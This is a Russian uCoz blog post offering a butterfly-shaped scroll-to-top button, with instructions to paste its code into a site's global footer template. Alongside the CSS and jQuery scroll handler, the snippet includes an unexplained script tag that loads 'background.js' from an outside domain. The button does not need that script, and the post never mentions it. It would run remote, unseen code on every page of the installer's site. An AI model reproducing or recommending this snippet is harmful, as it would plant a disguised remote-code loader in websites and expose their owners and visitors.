Пятница, 24.11.2017, 17:29


Вниз Главная Регистрация RSS
Приветствую Вас, Гость


Радио ТРАНС
Игротека
Наш опрос
Чего желаете?
Всего ответов: 84
Статистика
Яндекс.Метрика Яндекс.Метрика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Друзья сайта
Главная » 2013 » Май » 3 » Уникальная кнопка Scroll To Top (наверх) для сайта
21:30
Уникальная кнопка Scroll To Top (наверх) для сайта
Интернет Технологии [2]Телефоны [0]uCoz CSS КодыСкрипты [94]



О том, как установить так называемую кнопку "наверх" на Ucoz, имеется достаточно информации. Тем не менее, я тоже вношу свой скромный вклад в описание этой темы.
Моя кнопка имеет пару существенных деталей, которые придают ей уникальность.
Во первых, мне всегда не нравилось то, что кнопка появляется сразу же после минимальной прокрутки страницы. Читатель еще не ознакомился с контентом, а уже "маячит" кнопка, призывая "наверх" и загораживает информацию на боковой панели. В моей кнопке есть настройка и вы сможете установить место страницы, когда она появляется (в середине поста, после или там где комментарии).
Во вторых, учитывая дизайн и специфику многих блогов моих читателей, я сделал анимированную кнопку в ввиде бабочки, что бесспорно является элементом уникальности.
И еще маленькая деталь - цвет при наведении на бабочку курсора, становится более насыщенным.

Установка:
Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.

Код
<style>.b-top {z-index:2600;position:fixed;left:0;bottom:10px;width:34;opacity: 0.5;filter:alpha(opacity=50);}
.b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;}
.b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px;
color:black;background: url(http://bambun.ru/site_img/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){
$(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}});
$('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;});
});</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div>


Категория: uCoz CSS КодыСкрипты | Просмотров: 392 | Добавил: DoG | Рейтинг: 0.0/ 0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

 

Новое на сайте

 

Самое популярное

 

 Коды скрипты

Случайная статья

  • Cities XL Platinum 2013 72
  • Чудо ферма \ Virtual farm 87
  • Именем короля 3. Коллекционное издание 89
  • Браузер Maxthon 189
  • Download Master 5.12.1.1283 178
  • Улесье. Коллекционное издание 148
  • Articles – лучшая Wikipedia в кармане 173
  • RIFT – многопользовательская онлайн игра 203
  • Будущее настоящего прошлого_скачать 335
  • Darck Orbit – браузерная игра 194
  • iSendSMS - для отправки SMS и MMS 228
  • Lunascape 6.2 Универсальный браузер 183
  • XnView Full-один из лучших просмотрщиков -конверторов графических файлов 212
  • Графический редактор PhotoFiltre 221
  • Редактор Inedita 171

  • Govorilka 3.1 Rus Говорун_Скачать бесплатно 29858
  • FrontPage 2003 Русская версия 11637
  • Игра "Фараон и Клеопатра" скачать бесплатно 6886
  • Mozilla Firefox 8.0.1 - русская версия скачать 4211
  • Новый Супер Марио 4128
  • Игра в Длинные нарды 4053
  • Медитация для привлечения Любви 3760
  • Сборник_Программа настроев Г.Н.Сытина скачать 2900
  • FFrontPage 2007 Русская версия 2827
  • Авто выключение компьютера_WinMend Auto Shutdown 2661
  • Астрон Дизайн - 3D моделирование Вашего дома 2114
  • Спец эффекты с ВебКамерой 2094
  • Штука - игра в карты 1782
  • Если хочешь быть счастливым - Литвак Михаил 1524
  • Программа для быстрого создания Flash-анимации 1522

  • Кнопка "Вверх" для сайта или блога 286
  • Стильное оповищение Войти или зарегестрироватся 292
  • Уведомление о регистрации и авторизации 292
  • Мини-профиль для ucoz 461
  • Флэш проигрыватель с большим количеством радиостанций.. 268
  • Статистика сайта для системы ucoz 307
  • Блок нужные программы 268
  • Информер - лучшие пользователи (топ пользователей) для uCoz 312
  • БЛОК - ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ 363
  • Форма поиска для Ucoz 341
  • Топ юзеров для Ucoz 487
  • Универсальная статистика 374
  • Пожертвование на развитие сайта. 266
  • Формы поиска для uCoz 268
  • Скрипт прокрутки страницы вверх.(ввиде коте) 282

  • Вид комментариев для uCoz v.5 265
  • Скрипт статистика сайта для uCuz 265
  • Топ пользователей для Ucoz 265
  • Новый цветной вид опроса v.2.0 uCoz 265
  • Перевод на другие языки для uCoz 265
  • Cоц. закладки для сайта 265
  • Кнопка "Вверх" для сайта, блога или форума 265
  • Мини профиль с временем суток и функциональным меню 266

  • Artweave - бесплатный графический редактор 288
  • CSE HTML Validator Lite 8.04 203
  • Игра в Длинные нарды 4053
  • Стили CSS #937 259
  • Психоактивная аудиопрограмма От лени 505
  • Darck Orbit – браузерная игра 194
  • Именем короля 3. Коллекционное издание 89


  • Внимание!

    ВСЕ скачанные файлы с интернета, (и с нашего сайта, так же) перед запуском на своем компьютере рекомендуется ОБЯЗАТЕЛЬНО проверить Вашей антивирусной программой!
    Все файлы и программы взяты с интернет пространства.
    Администрация сайта не несет никакой ответственности за использование и последствия данных программ и файлов

    Вверх Главная Регистрация RSS
    Приветствую Вас, Гость